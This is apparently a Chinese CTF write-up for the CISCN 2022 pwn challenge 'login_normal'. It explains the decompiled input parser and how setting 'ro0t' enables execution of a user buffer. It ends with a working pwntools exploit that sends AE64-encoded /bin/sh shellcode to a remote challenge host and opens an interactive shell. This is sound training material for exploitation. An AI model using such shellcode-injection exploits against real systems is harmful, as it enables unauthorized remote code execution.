Problem: [CISCN 2022 初赛]login_normal
[[toc]]
思路
- 发现保护全开
- 跟进到sub_FFD,解构代码含义
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )// *a1为空 || *a1 不为 '\n' '\r' a1[1] 不为 '\n' 进入
{
if ( v8 <= 5 )
qword_202040[2 * v8] = a1;
sb = strchr(a1, 58);
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
*sc = 0;
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc;
sd = strchr(sc, 10);
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0;
a1 = sd + 1;
if ( *a1 == 13 )
*a1++ = 0;
s1 = (char *)qword_202040[2 * v8];
nptr = (char *)qword_202040[2 * v8 + 1];
...
}
++v8;
}
上述代码,表述的是退出条件是最后一个字符是'\n'。然后会把输入的字符串按照':'解析为两个部分,总共可以解析5个指令。
再往下观察代码
if ( !strcasecmp(s1, "opt") ){
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else {
if ( strcasecmp(s1, "msg") ) {...}
v9 = strlen(nptr) - 1;
}
由此可见,大概的命令格式是"opt:number\nmsg:string \n\n"
注意:
v9 = strlen(nptr) - 1;
因为读入的字符,一定会被噶掉一个字符,所以要多个一个无效的。
然后会根据opt操作的数码进行调用函数。
- 在sub_DA8中发现漏洞((void (*)(void))dest)()调用条件是unk_202024 == 1。而且还会做一个检查 -- isprintable。
- 跟进unk_202024,发现如下代码:
lea rax, unk_202024 mov dword ptr [rax], 1
把 unk_202024地址 载入rax。然后使用mov修改rax所指向的地址的内容,也就是unk_202024 = 1。对应c代码
if ( !strcmp(a1, "ro0t") )
{
unk_202028 = 1;
unk_202024 = 1;
}
EXP
from pwn import *
from PwnModules import *
from ae64 import AE64
context(os="linux", arch="amd64", log_level="debug")
io = remote("node4.anna.nssctf.cn", 28771)
p = process("./service")
payload1 = 'opt:1\n' + 'msg:ro0t \n'
io.sendlineafter(b'>>>', payload1)
shellcode = asm(shellcraft.sh())
shellcode = AE64().encode(shellcode, 'rdx')
print(shellcode)
payload = b'opt:2\nmsg:'+ shellcode + b' \n'
io.sendlineafter(b'>>>', payload)
io.interactive()
